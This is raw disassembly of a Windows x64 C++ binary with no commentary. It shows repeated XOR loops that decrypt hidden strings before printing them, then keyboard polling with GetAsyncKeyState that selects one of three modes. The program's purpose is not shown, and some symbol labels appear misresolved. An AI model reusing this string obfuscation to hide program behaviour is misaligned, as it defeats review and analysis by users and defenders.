lea rdx, [rbp + 0x318]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
lea rcx, [rbp + 0x1d0]
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x17c], 0xff
mov dword [rbp + 0x184], 0xff
mov qword [rbp + 0x188], r15
mov dword [rbp + 0x190], 0xff
movsd xmm0, qword [0x1401ff210]
movsd qword [rbp + 0x358], xmm0
mov eax, dword [0x1401ff218]
mov dword [rbp + 0x360], eax
movzx eax, word [0x1401ff21c]
mov word [rbp + 0x364], ax
cmp byte [0x1401ff21d], 0
je 0x14003524f
mov r8d, r15d
cmp r13d, 2
jl 0x140035209
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
mov eax, Ordinal_32
movd xmm5, eax
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x1401ff210]
pxor xmm2, xmm1
movd dword [rbp + 0x358], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x35c]
pxor xmm2, xmm1
movd dword [rbp + 0x35c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x358]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140035220
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x358]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140035275
lea rdx, [rbp + 0x358]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
lea r9, [rbp + 0x17c]
lea r8, [rbp + 0x188]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x288]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x1400352c7
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x288]
call fcn.140003990
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x140035339
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035334
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036b7d
call fcn.1400b7470
movsd xmm0, qword [0x1401ff220]
movsd qword [rbp + 0x2f8], xmm0
mov eax, dword [0x1401ff228]
mov dword [rbp + 0x300], eax
cmp byte [0x1401ff22b], 0
je 0x1400354cf
mov r8d, r15d
cmp r13d, 2
jl 0x140035489
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
mov eax, Ordinal_32
movd xmm5, eax
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x1401ff220]
pxor xmm2, xmm1
movd dword [rbp + 0x2f8], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x2fc]
pxor xmm2, xmm1
movd dword [rbp + 0x2fc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x2f8]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400354a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x2f8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400354f5
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
lea rcx, [rbp + 0x1d0]
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x194], 0xff
mov dword [rbp + 0x19c], 0xff
mov qword [rbp + 0x1a0], r15
mov dword [rbp + 0x1a8], 0xff
movsd xmm0, qword [0x1401ff230]
movsd qword [rbp + 0x328], xmm0
mov eax, dword [0x1401ff238]
mov dword [rbp + 0x330], eax
movzx eax, word [0x1401ff23c]
mov word [rbp + 0x334], ax
movzx eax, byte [0x1401ff23e]
mov byte [rbp + 0x336], al
mov r8d, r15d
cmp r13d, 2
jl 0x1400356a9
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
mov eax, Ordinal_32
movd xmm5, eax
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x1401ff230]
pxor xmm2, xmm1
movd dword [rbp + 0x328], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x32c]
pxor xmm2, xmm1
movd dword [rbp + 0x32c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x328]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400356c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x328]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140035715
lea rdx, [rbp + 0x328]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
lea r9, [rbp + 0x194]
lea r8, [rbp + 0x1a0]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x288]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140035767
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x288]
call fcn.140003990
nop
lea rcx, [rbp + 0x1d0]
call fcn.140003990
movsd xmm0, qword [0x1401ff240]
movsd qword [rbp + 0x308], xmm0
mov eax, dword [0x1401ff248]
mov dword [rbp + 0x310], eax
cmp byte [0x1401ff24b], 0
je 0x14003592f
mov r8d, r15d
cmp r13d, 2
jl 0x1400358ec
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
mov eax, Ordinal_32
movd xmm5, eax
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x1401ff240]
pxor xmm2, xmm1
movd dword [rbp + 0x308], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x30c]
pxor xmm2, xmm1
movd dword [rbp + 0x30c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x308]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140035900
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x308]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140035955
lea rdx, [rbp + 0x308]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
lea rcx, [rbp + 0x1d0]
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x1ac], 0xff
mov dword [rbp + 0x1b4], 0xff
mov qword [rbp + 0x1b8], r15
mov dword [rbp + 0x1c0], 0xff
movsd xmm0, qword [0x1401ff250]
movsd qword [rbp + 0x338], xmm0
mov eax, dword [0x1401ff258]
mov dword [rbp + 0x340], eax
movzx eax, word [0x1401ff25c]
mov word [rbp + 0x344], ax
movzx eax, byte [0x1401ff25e]
mov byte [rbp + 0x346], al
mov r8d, r15d
cmp r13d, 2
jl 0x140035b09
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
mov eax, Ordinal_32
movd xmm5, eax
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x1401ff250]
pxor xmm2, xmm1
movd dword [rbp + 0x338], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x33c]
pxor xmm2, xmm1
movd dword [rbp + 0x33c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x338]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140035b20
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x338]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140035b75
lea rdx, [rbp + 0x338]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
lea r9, [rbp + 0x1ac]
lea r8, [rbp + 0x1b8]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x288]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140035bc7
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x288]
call fcn.140003990
nop
lea rcx, [rbp + 0x1d0]
call fcn.140003990
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, reloc.WS2_32.dll_WSASetLastError
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs r12, 0x55b62e2695f425
test r12, rcx
jne 0x140035ce0
nop dword [rax]
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
test r12, rcx
jne 0x140035ce0
mov ecx, WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x371eb9c8208a565
test rax, rcx
jne 0x140035d01
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x23bba81b315
test rax, rcx
jne 0x140035d01
mov ecx, WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx ecx, ax
test ecx, 0x17ac82d
jne 0x140035cf2
mov ecx, 0x33
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
movabs rax, 0x5c798d3e5
test rax, rcx
jne 0x140035cf2
mov ecx, reloc.WS2_32.dll_WSASetLastError
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx rcx, ax
test r12, rcx
je 0x140035c30
mov r12d, 1
mov dword [reloc.WS2_32.dll_accept], r12d
jmp 0x14002df1e
mov dword [reloc.WS2_32.dll_accept], 3
jmp 0x14002df18
mov dword [reloc.WS2_32.dll_accept], 2
jmp 0x14002df18
lea r9, [rsp + 0x20]
mov r8d, r15d
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140035d20
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d8], xmm0
mov qword [rbp + 0x2e8], r15
mov qword [rbp + 0x2f0], r15
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140035d73
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x2d8]
call fcn.1400050f0
nop
movups xmm0, xmmword [0x1401ff050]
movups xmmword [rbp + 0x1f0], xmm0
mov eax, dword [0x1401ff060]
mov dword [rbp + 0x200], eax
movzx eax, word [0x1401ff064]
mov word [rbp + 0x204], ax
cmp byte [0x1401ff065], 0
je 0x140035f6f
mov r8d, r15d
cmp r13d, 2
jl 0x140035f2b
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140035e20
cmp r8d, 0x16
jge 0x140035f6f
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140035f40
xorps xmm0, xmm0
movups xmmword [rbp + 0x248], xmm0
mov qword [rbp + 0x258], r15
mov qword [rbp + 0x260], r15
lea rax, [rbp + 0x1f0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140035f95
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x248]
call fcn.1400050f0
nop
lea rdx, [0x1404660b0]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rdx, qword [0x1404660b0]
mov r8, qword [reloc.WS2_32.dll_accept]
lea rcx, [rbp + 0x248]
call fcn.140016de0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x220], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
or dword [rsp + 0x44], 1
lea r9, [rbp + 0x2d8]
lea r8, [rbp + 0x210]
movzx edx, r14b
lea rcx, [rbp + 0x1d0]
call fcn.1400074b0
or dword [rsp + 0x44], 2
lea r9, [rbp + 0x1c4]
lea r8, [rsp + 0x48]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x2b8]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14003605b
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x2d0]
cmp rdx, 0x10
jb 0x1400360c0
inc rdx
mov rcx, qword [rbp + 0x2b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400360bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036b84
call fcn.1400b7470
mov qword [rbp + 0x2c8], r15
mov qword [rbp + 0x2d0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2b8], 0
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x140036122
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003611d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036b8b
call fcn.1400b7470
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp + 0x228]
cmp rdx, 0x10
jb 0x140036185
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003617f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036b92
call fcn.1400b7470
nop
mov rdx, qword [rbp + 0x260]
cmp rdx, 0x10
jb 0x1400361ce
inc rdx
mov rcx, qword [rbp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400361c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036b99
call fcn.1400b7470
mov qword [rbp + 0x258], r15
mov qword [rbp + 0x260], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x248], 0
mov rdx, qword [rbp + 0x2f0]
cmp rdx, 0x10
jb 0x140036230
inc rdx
mov rcx, qword [rbp + 0x2d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003622b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036ba0
call fcn.1400b7470
lea rdx, [0x1401fef38]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003780
movups xmm0, xmmword [0x1401ff070]
movups xmmword [rbp + 0x2b8], xmm0
movups xmm1, xmmword [0x1401ff080]
movups xmmword [rbp + 0x2c8], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x1400363ff
cmp r13d, 2
jl 0x1400363c6
movdqa xmm5, xmmword [0x140201780]
mov edx, r15d
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x2bc]
mov r8d, dword [rsp + 0x20]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x1400362c2
jmp 0x1400363ff
lea r9, [rbp + 0x2b8]
mov r8d, r15d
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
